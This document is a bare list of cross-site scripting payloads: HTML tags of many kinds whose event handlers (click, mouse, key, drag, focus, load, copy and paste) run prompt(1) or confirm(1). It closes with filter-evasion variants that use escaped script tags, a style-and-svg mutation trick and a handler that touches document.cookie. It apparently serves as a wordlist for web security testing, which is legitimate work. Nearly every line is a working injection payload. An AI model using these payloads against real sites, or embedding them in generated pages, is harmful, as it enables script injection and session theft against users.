<picture oncopy="prompt(1)" contenteditable>test</picture>
<picture oncut="prompt(1)" contenteditable>test</picture>
<picture ondblclick="prompt(1)">test</picture>
<picture onfocusout=prompt(1) tabindex=1 id=x></picture><input autofocus>
<picture onkeydown="prompt(1)" contenteditable>test</picture>
<picture onkeypress="prompt(1)" contenteditable>test</picture>
<picture onkeyup="prompt(1)" contenteditable>test</picture>
<picture onmousedown="prompt(1)">test</picture>
<picture onmouseenter="prompt(1)">test</picture>
<picture onmouseleave="prompt(1)">test</picture>
<picture onmousemove="prompt(1)">test</picture>
<picture onmouseout="prompt(1)">test</picture>
<picture onmouseover="prompt(1)">test</picture>
<picture onmouseup="prompt(1)">test</picture>
<picture onpaste="prompt(1)" contenteditable>test</picture>
<picture><source srcset="validimage.png"><image onload=prompt(1)></picture>
<picture><source srcset="validimage.png"><image onloadend=prompt(1)></picture>
<picture><source srcset="validimage.png"><image onloadstart=prompt(1)></picture>
<picture><source srcset="validimage.png"><img onload=prompt(1)></picture>
<picture><source srcset="validimage.png"><img onloadend=prompt(1)></picture>
<picture><source srcset="validimage.png"><img onloadstart=prompt(1)></picture>
<plaintext draggable="true" ondrag="prompt(1)">test</plaintext>
<plaintext draggable="true" ondragend="prompt(1)">test</plaintext>
<plaintext draggable="true" ondragenter="prompt(1)">test</plaintext>
<plaintext draggable="true" ondragleave="prompt(1)">test</plaintext>
<plaintext draggable="true" ondragstart="prompt(1)">test</plaintext>
<plaintext id=x tabindex=1 onactivate=prompt(1)></plaintext>
<plaintext id=x tabindex=1 onbeforeactivate=prompt(1)></plaintext>
<plaintext id=x tabindex=1 onbeforedeactivate=prompt(1)></plaintext><input autofocus>
<plaintext id=x tabindex=1 ondeactivate=prompt(1)></plaintext><input id=y autofocus>
<plaintext id=x tabindex=1 onfocus=prompt(1)></plaintext>
<plaintext id=x tabindex=1 onfocusin=prompt(1)></plaintext>
<plaintext onbeforecopy="prompt(1)" contenteditable>test</plaintext>
<plaintext onbeforecut="prompt(1)" contenteditable>test</plaintext>
<plaintext onbeforepaste="prompt(1)" contenteditable>test</plaintext>
<plaintext onblur=prompt(1) tabindex=1 id=x></plaintext><input autofocus>
<plaintext onclick="prompt(1)">test</plaintext>
<plaintext oncontextmenu="prompt(1)">test</plaintext>
<plaintext oncopy="prompt(1)" contenteditable>test</plaintext>
<plaintext oncut="prompt(1)" contenteditable>test</plaintext>
<plaintext ondblclick="prompt(1)">test</plaintext>
<plaintext onfocusout=prompt(1) tabindex=1 id=x></plaintext><input autofocus>
<plaintext onkeydown="prompt(1)" contenteditable>test</plaintext>
<plaintext onkeypress="prompt(1)" contenteditable>test</plaintext>
<plaintext onkeyup="prompt(1)" contenteditable>test</plaintext>
<plaintext onmousedown="prompt(1)">test</plaintext>
<plaintext onmouseenter="prompt(1)">test</plaintext>
<plaintext onmouseleave="prompt(1)">test</plaintext>
<plaintext onmousemove="prompt(1)">test</plaintext>
<plaintext onmouseout="prompt(1)">test</plaintext>
<plaintext onmouseover="prompt(1)">test</plaintext>
<plaintext onmouseup="prompt(1)">test</plaintext>
<plaintext onpaste="prompt(1)" contenteditable>test</plaintext>
<pre draggable="true" ondrag="prompt(1)">test</pre>
<pre draggable="true" ondragend="prompt(1)">test</pre>
<pre draggable="true" ondragenter="prompt(1)">test</pre>
<pre draggable="true" ondragleave="prompt(1)">test</pre>
<pre draggable="true" ondragstart="prompt(1)">test</pre>
<pre id=x tabindex=1 onactivate=prompt(1)></pre>
<pre id=x tabindex=1 onbeforeactivate=prompt(1)></pre>
<pre id=x tabindex=1 onbeforedeactivate=prompt(1)></pre><input autofocus>
<pre id=x tabindex=1 ondeactivate=prompt(1)></pre><input id=y autofocus>
<pre id=x tabindex=1 onfocus=prompt(1)></pre>
<pre id=x tabindex=1 onfocusin=prompt(1)></pre>
<pre onbeforecopy="prompt(1)" contenteditable>test</pre>
<pre onbeforecut="prompt(1)" contenteditable>test</pre>
<pre onbeforepaste="prompt(1)" contenteditable>test</pre>
<pre onblur=prompt(1) tabindex=1 id=x></pre><input autofocus>
<pre onclick="prompt(1)">test</pre>
<pre oncontextmenu="prompt(1)">test</pre>
<pre oncopy="prompt(1)" contenteditable>test</pre>
<pre oncut="prompt(1)" contenteditable>test</pre>
<pre ondblclick="prompt(1)">test</pre>
<pre onfocusout=prompt(1) tabindex=1 id=x></pre><input autofocus>
<pre onkeydown="prompt(1)" contenteditable>test</pre>
<pre onkeypress="prompt(1)" contenteditable>test</pre>
<pre onkeyup="prompt(1)" contenteditable>test</pre>
<pre onmousedown="prompt(1)">test</pre>
<pre onmouseenter="prompt(1)">test</pre>
<pre onmouseleave="prompt(1)">test</pre>
<pre onmousemove="prompt(1)">test</pre>
<pre onmouseout="prompt(1)">test</pre>
<pre onmouseover="prompt(1)">test</pre>
<pre onmouseup="prompt(1)">test</pre>
<pre onpaste="prompt(1)" contenteditable>test</pre>
<progress draggable="true" ondrag="prompt(1)">test</progress>
<progress draggable="true" ondragend="prompt(1)">test</progress>
<progress draggable="true" ondragenter="prompt(1)">test</progress>
<progress draggable="true" ondragleave="prompt(1)">test</progress>
<progress draggable="true" ondragstart="prompt(1)">test</progress>
<progress id=x tabindex=1 onactivate=prompt(1)></progress>
<progress id=x tabindex=1 onbeforeactivate=prompt(1)></progress>
<progress id=x tabindex=1 onbeforedeactivate=prompt(1)></progress><input autofocus>
<progress id=x tabindex=1 ondeactivate=prompt(1)></progress><input id=y autofocus>
<progress id=x tabindex=1 onfocus=prompt(1)></progress>
<progress id=x tabindex=1 onfocusin=prompt(1)></progress>
<progress onbeforecopy="prompt(1)" contenteditable>test</progress>
<progress onbeforecut="prompt(1)" contenteditable>test</progress>
<progress onbeforepaste="prompt(1)" contenteditable>test</progress>
<progress onblur=prompt(1) tabindex=1 id=x></progress><input autofocus>
<progress onclick="prompt(1)">test</progress>
<progress oncontextmenu="prompt(1)">test</progress>
<progress oncopy="prompt(1)" contenteditable>test</progress>
<progress oncut="prompt(1)" contenteditable>test</progress>
<progress ondblclick="prompt(1)">test</progress>
<progress onfocusout=prompt(1) tabindex=1 id=x></progress><input autofocus>
<progress onkeydown="prompt(1)" contenteditable>test</progress>
<progress onkeypress="prompt(1)" contenteditable>test</progress>
<progress onkeyup="prompt(1)" contenteditable>test</progress>
<progress onmousedown="prompt(1)">test</progress>
<progress onmouseenter="prompt(1)">test</progress>
<progress onmouseleave="prompt(1)">test</progress>
<progress onmousemove="prompt(1)">test</progress>
<progress onmouseout="prompt(1)">test</progress>
<progress onmouseover="prompt(1)">test</progress>
<progress onmouseup="prompt(1)">test</progress>
<progress onpaste="prompt(1)" contenteditable>test</progress>
<q draggable="true" ondrag="prompt(1)">test</q>
<q draggable="true" ondragend="prompt(1)">test</q>
<q draggable="true" ondragenter="prompt(1)">test</q>
<q draggable="true" ondragleave="prompt(1)">test</q>
<q draggable="true" ondragstart="prompt(1)">test</q>
<q id=x tabindex=1 onactivate=prompt(1)></q>
<q id=x tabindex=1 onbeforeactivate=prompt(1)></q>
<q id=x tabindex=1 onbeforedeactivate=prompt(1)></q><input autofocus>
<q id=x tabindex=1 ondeactivate=prompt(1)></q><input id=y autofocus>
<q id=x tabindex=1 onfocus=prompt(1)></q>
<q id=x tabindex=1 onfocusin=prompt(1)></q>
<q onbeforecopy="prompt(1)" contenteditable>test</q>
<q onbeforecut="prompt(1)" contenteditable>test</q>
<q onbeforepaste="prompt(1)" contenteditable>test</q>
<q onblur=prompt(1) tabindex=1 id=x></q><input autofocus>
<q onclick="prompt(1)">test</q>
<q oncontextmenu="prompt(1)">test</q>
<q oncopy="prompt(1)" contenteditable>test</q>
<q oncut="prompt(1)" contenteditable>test</q>
<q ondblclick="prompt(1)">test</q>
<q onfocusout=prompt(1) tabindex=1 id=x></q><input autofocus>
<q onkeydown="prompt(1)" contenteditable>test</q>
<q onkeypress="prompt(1)" contenteditable>test</q>
<q onkeyup="prompt(1)" contenteditable>test</q>
<q onmousedown="prompt(1)">test</q>
<q onmouseenter="prompt(1)">test</q>
<q onmouseleave="prompt(1)">test</q>
<q onmousemove="prompt(1)">test</q>
<q onmouseout="prompt(1)">test</q>
<q onmouseover="prompt(1)">test</q>
<q onmouseup="prompt(1)">test</q>
<q onpaste="prompt(1)" contenteditable>test</q>
<rb draggable="true" ondrag="prompt(1)">test</rb>
<rb draggable="true" ondragend="prompt(1)">test</rb>
<rb draggable="true" ondragenter="prompt(1)">test</rb>
<rb draggable="true" ondragleave="prompt(1)">test</rb>
<rb draggable="true" ondragstart="prompt(1)">test</rb>
<rb id=x tabindex=1 onactivate=prompt(1)></rb>
<rb id=x tabindex=1 onbeforeactivate=prompt(1)></rb>
<rb id=x tabindex=1 onbeforedeactivate=prompt(1)></rb><input autofocus>
<rb id=x tabindex=1 ondeactivate=prompt(1)></rb><input id=y autofocus>
<rb id=x tabindex=1 onfocus=prompt(1)></rb>
<rb id=x tabindex=1 onfocusin=prompt(1)></rb>
<rb onbeforecopy="prompt(1)" contenteditable>test</rb>
<rb onbeforecut="prompt(1)" contenteditable>test</rb>
<rb onbeforepaste="prompt(1)" contenteditable>test</rb>
<rb onblur=prompt(1) tabindex=1 id=x></rb><input autofocus>
<rb onclick="prompt(1)">test</rb>
<rb oncontextmenu="prompt(1)">test</rb>
<rb oncopy="prompt(1)" contenteditable>test</rb>
<rb oncut="prompt(1)" contenteditable>test</rb>
<rb ondblclick="prompt(1)">test</rb>
<rb onfocusout=prompt(1) tabindex=1 id=x></rb><input autofocus>
<rb onkeydown="prompt(1)" contenteditable>test</rb>
<rb onkeypress="prompt(1)" contenteditable>test</rb>
<rb onkeyup="prompt(1)" contenteditable>test</rb>
<rb onmousedown="prompt(1)">test</rb>
<rb onmouseenter="prompt(1)">test</rb>
<rb onmouseleave="prompt(1)">test</rb>
<rb onmousemove="prompt(1)">test</rb>
<rb onmouseout="prompt(1)">test</rb>
<rb onmouseover="prompt(1)">test</rb>
<rb onmouseup="prompt(1)">test</rb>
<rb onpaste="prompt(1)" contenteditable>test</rb>
<rp draggable="true" ondrag="prompt(1)">test</rp>
<rp draggable="true" ondragend="prompt(1)">test</rp>
<rp draggable="true" ondragenter="prompt(1)">test</rp>
<rp draggable="true" ondragleave="prompt(1)">test</rp>
<rp draggable="true" ondragstart="prompt(1)">test</rp>
<rp id=x tabindex=1 onactivate=prompt(1)></rp>
<rp id=x tabindex=1 onbeforeactivate=prompt(1)></rp>
<rp id=x tabindex=1 onbeforedeactivate=prompt(1)></rp><input autofocus>
<rp id=x tabindex=1 ondeactivate=prompt(1)></rp><input id=y autofocus>
<rp id=x tabindex=1 onfocus=prompt(1)></rp>
<rp id=x tabindex=1 onfocusin=prompt(1)></rp>
<rp onbeforecopy="prompt(1)" contenteditable>test</rp>
<rp onbeforecut="prompt(1)" contenteditable>test</rp>
<rp onbeforepaste="prompt(1)" contenteditable>test</rp>
<rp onblur=prompt(1) tabindex=1 id=x></rp><input autofocus>
<rp onclick="prompt(1)">test</rp>
<rp oncontextmenu="prompt(1)">test</rp>
<rp oncopy="prompt(1)" contenteditable>test</rp>
<rp oncut="prompt(1)" contenteditable>test</rp>
<rp ondblclick="prompt(1)">test</rp>
<rp onfocusout=prompt(1) tabindex=1 id=x></rp><input autofocus>
<rp onkeydown="prompt(1)" contenteditable>test</rp>
<rp onkeypress="prompt(1)" contenteditable>test</rp>
<rp onkeyup="prompt(1)" contenteditable>test</rp>
<rp onmousedown="prompt(1)">test</rp>
<rp onmouseenter="prompt(1)">test</rp>
<rp onmouseleave="prompt(1)">test</rp>
<rp onmousemove="prompt(1)">test</rp>
<rp onmouseout="prompt(1)">test</rp>
<rp onmouseover="prompt(1)">test</rp>
<rp onmouseup="prompt(1)">test</rp>
<rp onpaste="prompt(1)" contenteditable>test</rp>
<rt draggable="true" ondrag="prompt(1)">test</rt>
<rt draggable="true" ondragend="prompt(1)">test</rt>
<rt draggable="true" ondragenter="prompt(1)">test</rt>
<rt draggable="true" ondragleave="prompt(1)">test</rt>
<rt draggable="true" ondragstart="prompt(1)">test</rt>
<rt id=x tabindex=1 onactivate=prompt(1)></rt>
<rt id=x tabindex=1 onbeforeactivate=prompt(1)></rt>
<rt id=x tabindex=1 onbeforedeactivate=prompt(1)></rt><input autofocus>
<rt id=x tabindex=1 ondeactivate=prompt(1)></rt><input id=y autofocus>
<rt id=x tabindex=1 onfocus=prompt(1)></rt>
<rt id=x tabindex=1 onfocusin=prompt(1)></rt>
<rt onbeforecopy="prompt(1)" contenteditable>test</rt>
<rt onbeforecut="prompt(1)" contenteditable>test</rt>
<rt onbeforepaste="prompt(1)" contenteditable>test</rt>
<rt onblur=prompt(1) tabindex=1 id=x></rt><input autofocus>
<rt onclick="prompt(1)">test</rt>
<rt oncontextmenu="prompt(1)">test</rt>
<rt oncopy="prompt(1)" contenteditable>test</rt>
<rt oncut="prompt(1)" contenteditable>test</rt>
<rt ondblclick="prompt(1)">test</rt>
<rt onfocusout=prompt(1) tabindex=1 id=x></rt><input autofocus>
<rt onkeydown="prompt(1)" contenteditable>test</rt>
<rt onkeypress="prompt(1)" contenteditable>test</rt>
<rt onkeyup="prompt(1)" contenteditable>test</rt>
<rt onmousedown="prompt(1)">test</rt>
<rt onmouseenter="prompt(1)">test</rt>
<link draggable="true" ondrag="prompt(1)">test</link>
<link draggable="true" ondragend="prompt(1)">test</link>
<link draggable="true" ondragenter="prompt(1)">test</link>
<link draggable="true" ondragleave="prompt(1)">test</link>
<link draggable="true" ondragstart="prompt(1)">test</link>
<link href=validstyles.css rel=stylesheet onload=prompt(1)>
<link id=x tabindex=1 onactivate=prompt(1)></link>
<link id=x tabindex=1 onbeforeactivate=prompt(1)></link>
<link id=x tabindex=1 onbeforedeactivate=prompt(1)></link><input autofocus>
<link id=x tabindex=1 ondeactivate=prompt(1)></link><input id=y autofocus>
<link onbeforecopy="prompt(1)" contenteditable>test</link>
<link onbeforecut="prompt(1)" contenteditable>test</link>
<link onbeforepaste="prompt(1)" contenteditable>test</link>
<link onblur=prompt(1) tabindex=1 id=x></link><input autofocus>
<link onclick="prompt(1)">test</link>
<link oncontextmenu="prompt(1)">test</link>
<link oncopy="prompt(1)" contenteditable>test</link>
<iframe draggable="true" ondrag="prompt(1)">test</iframe>
<iframe draggable="true" ondragend="prompt(1)">test</iframe>
<iframe draggable="true" ondragenter="prompt(1)">test</iframe>
<iframe draggable="true" ondragleave="prompt(1)">test</iframe>
<iframe draggable="true" ondragstart="prompt(1)">test</iframe>
<iframe id=x onfocus=prompt(1)>
<iframe id=x onfocusin=prompt(1)>
<iframe id=x tabindex=1 onactivate=prompt(1)></iframe>
<iframe id=x tabindex=1 onbeforeactivate=prompt(1)></iframe>
<iframe id=x tabindex=1 onbeforedeactivate=prompt(1)></iframe><input autofocus>
<iframe id=x tabindex=1 ondeactivate=prompt(1)></iframe><input id=y autofocus>
<iframe onbeforecopy="prompt(1)" contenteditable>test</iframe>
<iframe onbeforecut="prompt(1)" contenteditable>test</iframe>
<iframe onbeforepaste="prompt(1)" contenteditable>test</iframe>
<iframe onblur=prompt(1) id=x><input autofocus>
<iframe onclick="prompt(1)">test</iframe>
<iframe oncontextmenu="prompt(1)">test</iframe>
<iframe oncopy="prompt(1)" contenteditable>test</iframe>
<iframe oncut="prompt(1)" contenteditable>test</iframe>
<iframe ondblclick="prompt(1)">test</iframe>
<iframe onfocusout=prompt(1) id=x><input autofocus>
<iframe onkeydown="prompt(1)" contenteditable>test</iframe>
<iframe onkeypress="prompt(1)" contenteditable>test</iframe>
<iframe onkeyup="prompt(1)" contenteditable>test</iframe>
<iframe onload=prompt(1)></iframe>
<iframe onmousedown="prompt(1)">test</iframe>
<iframe onmouseenter="prompt(1)">test</iframe>
<iframe onmouseleave="prompt(1)">test</iframe>
<iframe onmousemove="prompt(1)">test</iframe>
<iframe onmouseout="prompt(1)">test</iframe>
<iframe onmouseover="prompt(1)">test</iframe>
<form draggable="true" ondragend="prompt(1)">test</form>
<form draggable="true" ondragenter="prompt(1)">test</form>
<form draggable="true" ondragleave="prompt(1)">test</form>
<form draggable="true" ondragstart="prompt(1)">test</form>
<form id=x tabindex=1 onactivate=prompt(1)></form>
<form id=x tabindex=1 onbeforeactivate=prompt(1)></form>
<form id=x tabindex=1 onbeforedeactivate=prompt(1)></form><input autofocus>
<form id=x tabindex=1 ondeactivate=prompt(1)></form><input id=y autofocus>
<form id=x tabindex=1 onfocus=prompt(1)></form>
<form id=x tabindex=1 onfocusin=prompt(1)></form>
<form onbeforecopy="prompt(1)" contenteditable>test</form>
<form onbeforecut="prompt(1)" contenteditable>test</form>
<form onbeforepaste="prompt(1)" contenteditable>test</form>
<form onblur=prompt(1) tabindex=1 id=x></form><input autofocus>
<form onclick="prompt(1)">test</form>
<form oncontextmenu="prompt(1)">test</form>
<form oncopy="prompt(1)" contenteditable>test</form>
<form oncut="prompt(1)" contenteditable>test</form>
<form ondblclick="prompt(1)">test</form>
<form onfocusout=prompt(1) tabindex=1 id=x></form><input autofocus>
<form onkeydown="prompt(1)" contenteditable>test</form>
<form onkeypress="prompt(1)" contenteditable>test</form>
<form onkeyup="prompt(1)" contenteditable>test</form>
<div draggable="true" contenteditable>drag me</div><noframes ondragover=prompt(1) contenteditable>drop here</noframes>
<div draggable="true" contenteditable>drag me</div><noframes ondrop=prompt(1) contenteditable>drop here</noframes>
<div draggable="true" contenteditable>drag me</div><noscript ondragover=prompt(1) contenteditable>drop here</noscript>
<div draggable="true" contenteditable>drag me</div><noscript ondrop=prompt(1) contenteditable>drop here</noscript>
<div draggable="true" contenteditable>drag me</div><object ondragover=prompt(1) contenteditable>drop here</object>
<div draggable="true" contenteditable>drag me</div><object ondrop=prompt(1) contenteditable>drop here</object>
<div draggable="true" contenteditable>drag me</div><ol ondragover=prompt(1) contenteditable>drop here</ol>
<div draggable="true" contenteditable>drag me</div><ol ondrop=prompt(1) contenteditable>drop here</ol>
<div draggable="true" contenteditable>drag me</div><optgroup ondragover=prompt(1) contenteditable>drop here</optgroup>
<div draggable="true" contenteditable>drag me</div><optgroup ondrop=prompt(1) contenteditable>drop here</optgroup>
<div draggable="true" contenteditable>drag me</div><option ondragover=prompt(1) contenteditable>drop here</option>
<div draggable="true" contenteditable>drag me</div><option ondrop=prompt(1) contenteditable>drop here</option>
<div draggable="true" contenteditable>drag me</div><output ondragover=prompt(1) contenteditable>drop here</output>
<div draggable="true" contenteditable>drag me</div><output ondrop=prompt(1) contenteditable>drop here</output>
<div draggable="true" contenteditable>drag me</div><p ondragover=prompt(1) contenteditable>drop here</p>
<div draggable="true" contenteditable>drag me</div><p ondrop=prompt(1) contenteditable>drop here</p>
<div draggable="true" contenteditable>drag me</div><param ondragover=prompt(1) contenteditable>drop here</param>
<div draggable="true" contenteditable>drag me</div><param ondrop=prompt(1) contenteditable>drop here</param>
<div draggable="true" contenteditable>drag me</div><picture ondragover=prompt(1) contenteditable>drop here</picture>
<div draggable="true" contenteditable>drag me</div><picture ondrop=prompt(1) contenteditable>drop here</picture>
<div draggable="true" contenteditable>drag me</div><plaintext ondragover=prompt(1) contenteditable>drop here</plaintext>
<div draggable="true" contenteditable>drag me</div><plaintext ondrop=prompt(1) contenteditable>drop here</plaintext>
<div draggable="true" contenteditable>drag me</div><pre ondragover=prompt(1) contenteditable>drop here</pre>
<div draggable="true" contenteditable>drag me</div><pre ondrop=prompt(1) contenteditable>drop here</pre>
<div draggable="true" contenteditable>drag me</div><progress ondragover=prompt(1) contenteditable>drop here</progress>
<div draggable="true" contenteditable>drag me</div><progress ondrop=prompt(1) contenteditable>drop here</progress>
<div draggable="true" contenteditable>drag me</div><q ondragover=prompt(1) contenteditable>drop here</q>
<div draggable="true" contenteditable>drag me</div><q ondrop=prompt(1) contenteditable>drop here</q>
<div draggable="true" contenteditable>drag me</div><rb ondragover=prompt(1) contenteditable>drop here</rb>
<div draggable="true" contenteditable>drag me</div><rb ondrop=prompt(1) contenteditable>drop here</rb>
<div draggable="true" contenteditable>drag me</div><rp ondragover=prompt(1) contenteditable>drop here</rp>
<div draggable="true" contenteditable>drag me</div><rp ondrop=prompt(1) contenteditable>drop here</rp>
<div draggable="true" contenteditable>drag me</div><rt ondragover=prompt(1) contenteditable>drop here</rt>
<div draggable="true" contenteditable>drag me</div><rt ondrop=prompt(1) contenteditable>drop here</rt>
<div draggable="true" contenteditable>drag me</div><rtc ondragover=prompt(1) contenteditable>drop here</rtc>
<div draggable="true" contenteditable>drag me</div><rtc ondrop=prompt(1) contenteditable>drop here</rtc>
<div draggable="true" contenteditable>drag me</div><ruby ondragover=prompt(1) contenteditable>drop here</ruby>
<div draggable="true" contenteditable>drag me</div><ruby ondrop=prompt(1) contenteditable>drop here</ruby>
<div draggable="true" contenteditable>drag me</div><s ondragover=prompt(1) contenteditable>drop here</s>
<div draggable="true" contenteditable>drag me</div><s ondrop=prompt(1) contenteditable>drop here</s>
<div draggable="true" contenteditable>drag me</div><samp ondragover=prompt(1) contenteditable>drop here</samp>
<div draggable="true" contenteditable>drag me</div><samp ondrop=prompt(1) contenteditable>drop here</samp>
<div draggable="true" contenteditable>drag me</div><script ondragover=prompt(1) contenteditable>drop here</script>
<div draggable="true" contenteditable>drag me</div><script ondrop=prompt(1) contenteditable>drop here</script>
<div draggable="true" contenteditable>drag me</div><section ondragover=prompt(1) contenteditable>drop here</section>
<div draggable="true" contenteditable>drag me</div><section ondrop=prompt(1) contenteditable>drop here</section>
<div draggable="true" contenteditable>drag me</div><select ondragover=prompt(1) contenteditable>drop here</select>
<div draggable="true" contenteditable>drag me</div><select ondrop=prompt(1) contenteditable>drop here</select>
<div draggable="true" contenteditable>drag me</div><shadow ondragover=prompt(1) contenteditable>drop here</shadow>
<div draggable="true" contenteditable>drag me</div><shadow ondrop=prompt(1) contenteditable>drop here</shadow>
<div draggable="true" contenteditable>drag me</div><slot ondragover=prompt(1) contenteditable>drop here</slot>
<div draggable="true" contenteditable>drag me</div><slot ondrop=prompt(1) contenteditable>drop here</slot>
<div draggable="true" contenteditable>drag me</div><small ondragover=prompt(1) contenteditable>drop here</small>
<div draggable="true" contenteditable>drag me</div><small ondrop=prompt(1) contenteditable>drop here</small>
<body draggable="true" ondragstart="prompt(1)">test</body>
<body id=x tabindex=1 onactivate=prompt(1)></body>
<body id=x tabindex=1 onbeforeactivate=prompt(1)></body>
<body id=x tabindex=1 onbeforedeactivate=prompt(1)></body><input autofocus>
<body id=x tabindex=1 ondeactivate=prompt(1)></body><input id=y autofocus>
<body id=x tabindex=1 onfocus=prompt(1)></body>
<body id=x tabindex=1 onfocusin=prompt(1)></body>
<body onafterprint=prompt(1)>
<body onbeforecopy="prompt(1)" contenteditable>test</body>
<body onbeforecut="prompt(1)" contenteditable>test</body>
<body onbeforepaste="prompt(1)" contenteditable>test</body>
<body onbeforeprint=prompt(1)>
<body onbeforeunload="location='javascript:prompt(1)'">
<body onblur=prompt(1) id=x><iframe id=x>
<body onclick="prompt(1)">test</body>
<body oncontextmenu="prompt(1)">test</body>
<body oncopy="prompt(1)" contenteditable>test</body>
<body oncut="prompt(1)" contenteditable>test</body>
<body ondblclick="prompt(1)">test</body>
<body onerror=prompt(1) onload=/>
<body onfocusout=prompt(1) id=x><iframe id=x>
<body onhashchange="prompt(1)">
<body onkeydown="prompt(1)" contenteditable>test</body>
<body onkeypress="prompt(1)" contenteditable>test</body>
<body onkeyup="prompt(1)" contenteditable>test</body>
<body onload=prompt(1)>
<body onmessage=prompt(1)>
<audio id=x tabindex=1 onactivate=prompt(1)></audio>
<audio id=x tabindex=1 onbeforeactivate=prompt(1)></audio>
<audio id=x tabindex=1 onbeforedeactivate=prompt(1)></audio><input autofocus>
<audio id=x tabindex=1 ondeactivate=prompt(1)></audio><input id=y autofocus>
<audio onbeforecopy="prompt(1)" contenteditable>test</audio>
<audio onbeforecut="prompt(1)" contenteditable>test</audio>
<audio onbeforepaste="prompt(1)" contenteditable>test</audio>
<audio onblur=prompt(1) tabindex=1 id=x></audio><input autofocus>
<audio oncanplay=prompt(1)><source src="validaudio.wav" type="audio/wav"></audio>
<audio onclick="prompt(1)">test</audio>
<audio oncontextmenu="prompt(1)">test</audio>
<audio oncopy="prompt(1)" contenteditable>test</audio>
<audio oncut="prompt(1)" contenteditable>test</audio>
<audio ondblclick="prompt(1)">test</audio>
<audio onfocusout=prompt(1) tabindex=1 id=x></audio><input autofocus>
<audio onkeydown="prompt(1)" contenteditable>test</audio>
<audio onkeypress="prompt(1)" contenteditable>test</audio>
<audio onkeyup="prompt(1)" contenteditable>test</audio>
<audio onloadeddata=prompt(1)><source src="validaudio.wav" type="audio/wav"></audio>
<audio onmousedown="prompt(1)">test</audio>
<audio onmouseenter="prompt(1)">test</audio>
<audio onmouseleave="prompt(1)">test</audio>
<audio onmousemove="prompt(1)">test</audio>
<audio onmouseout="prompt(1)">test</audio>
<audio onmouseover="prompt(1)">test</audio>
<audio onmouseup="prompt(1)">test</audio>
<audio onpaste="prompt(1)" contenteditable>test</audio>
<audio src/onerror=prompt(1)>
<b draggable="true" ondrag="prompt(1)">test</b>
<b draggable="true" ondragend="prompt(1)">test</b>
<b draggable="true" ondragenter="prompt(1)">test</b>
<b draggable="true" ondragleave="prompt(1)">test</b>
<b draggable="true" ondragstart="prompt(1)">test</b>
<b id=x tabindex=1 onactivate=prompt(1)></b>
<b id=x tabindex=1 onbeforeactivate=prompt(1)></b>
<b id=x tabindex=1 onbeforedeactivate=prompt(1)></b><input autofocus>
<b id=x tabindex=1 ondeactivate=prompt(1)></b><input id=y autofocus>
<b id=x tabindex=1 onfocus=prompt(1)></b>
<b id=x tabindex=1 onfocusin=prompt(1)></b>
<b onbeforecopy="prompt(1)" contenteditable>test</b>
<b onbeforecut="prompt(1)" contenteditable>test</b>
<b onbeforepaste="prompt(1)" contenteditable>test</b>
<b onblur=prompt(1) tabindex=1 id=x></b><input autofocus>
<b onclick="prompt(1)">test</b>
<b oncontextmenu="prompt(1)">test</b>
<b oncopy="prompt(1)" contenteditable>test</b>
<b oncut="prompt(1)" contenteditable>test</b>
<b ondblclick="prompt(1)">test</b>
<b onfocusout=prompt(1) tabindex=1 id=x></b><input autofocus>
<b onkeydown="prompt(1)" contenteditable>test</b>
<b onkeypress="prompt(1)" contenteditable>test</b>
<b onkeyup="prompt(1)" contenteditable>test</b>
<b onmousedown="prompt(1)">test</b>
<b onmouseenter="prompt(1)">test</b>
<b onmouseleave="prompt(1)">test</b>
<b onmousemove="prompt(1)">test</b>
<b onmouseout="prompt(1)">test</b>
<b onmouseover="prompt(1)">test</b>
<b onmouseup="prompt(1)">test</b>
<b onpaste="prompt(1)" contenteditable>test</b>
<base draggable="true" ondrag="prompt(1)">test</base>
<base draggable="true" ondragend="prompt(1)">test</base>
<base draggable="true" ondragenter="prompt(1)">test</base>
<base draggable="true" ondragleave="prompt(1)">test</base>
<base draggable="true" ondragstart="prompt(1)">test</base>
<base id=x tabindex=1 onactivate=prompt(1)></base>
<base id=x tabindex=1 onbeforeactivate=prompt(1)></base>
<base id=x tabindex=1 onbeforedeactivate=prompt(1)></base><input autofocus>
<base id=x tabindex=1 ondeactivate=prompt(1)></base><input id=y autofocus>
<base id=x tabindex=1 onfocus=prompt(1)></base>
<base id=x tabindex=1 onfocusin=prompt(1)></base>
<base onbeforecopy="prompt(1)" contenteditable>test</base>
<base onbeforecut="prompt(1)" contenteditable>test</base>
<base onbeforepaste="prompt(1)" contenteditable>test</base>
<base onblur=prompt(1) tabindex=1 id=x></base><input autofocus>
<a draggable="true" ondrag="prompt(1)">test</a>
<a draggable="true" ondragend="prompt(1)">test</a>
<a draggable="true" ondragenter="prompt(1)">test</a>
<a draggable="true" ondragleave="prompt(1)">test</a>
<a draggable="true" ondragstart="prompt(1)">test</a>
<a id=x tabindex=1 onactivate=prompt(1)></a>
<a id=x tabindex=1 onbeforeactivate=prompt(1)></a>
<a id=x tabindex=1 onbeforedeactivate=prompt(1)></a><input autofocus>
<a id=x tabindex=1 ondeactivate=prompt(1)></a><input id=y autofocus>
<a id=x tabindex=1 onfocus=prompt(1)></a>
<a id=x tabindex=1 onfocusin=prompt(1)></a>
<a onbeforecopy="prompt(1)" contenteditable>test</a>
<a onbeforecut="prompt(1)" contenteditable>test</a>
<a onbeforepaste="prompt(1)" contenteditable>test</a>
<a onblur=prompt(1) tabindex=1 id=x></a><input autofocus>
<a onclick="prompt(1)">test</a>
<a oncontextmenu="prompt(1)">test</a>
<a oncopy="prompt(1)" contenteditable>test</a>
<a oncut="prompt(1)" contenteditable>test</a>
<a ondblclick="prompt(1)">test</a>
<a onfocusout=prompt(1) tabindex=1 id=x></a><input autofocus>
<a onkeydown="prompt(1)" contenteditable>test</a>
<a onkeypress="prompt(1)" contenteditable>test</a>
<a onkeyup="prompt(1)" contenteditable>test</a>
<a onmousedown="prompt(1)">test</a>
<a onmouseenter="prompt(1)">test</a>
<a onmouseleave="prompt(1)">test</a>
<script\x20type="text/javascript">javascript:confirm(1);</script>
<script\x3Etype="text/javascript">javascript:confirm(1);</script>
<script\x0Dtype="text/javascript">javascript:confirm(1);</script>
<script\x09type="text/javascript">javascript:confirm(1);</script>
<script\x0Ctype="text/javascript">javascript:confirm(1);</script>
<script\x2Ftype="text/javascript">javascript:confirm(1);</script>
<script\x0Atype="text/javascript">javascript:confirm(1);</script>
'`"><\x3Cscript>javascript:confirm(1)</script>
'`"><\x00script>javascript:confirm(1)</script>
"'>-->*/</noscript></ti tle><script>confirm()</script>
<svg></p><style><a id="</style><img src=1 onerror=confirm(1)>">
<details open ontoggle="confirm()">
\<a onmouseover="confirm(document.cookie)"\>xxs link\</a\>
<iframe srcdoc="<svg onload=confirm(4);>">
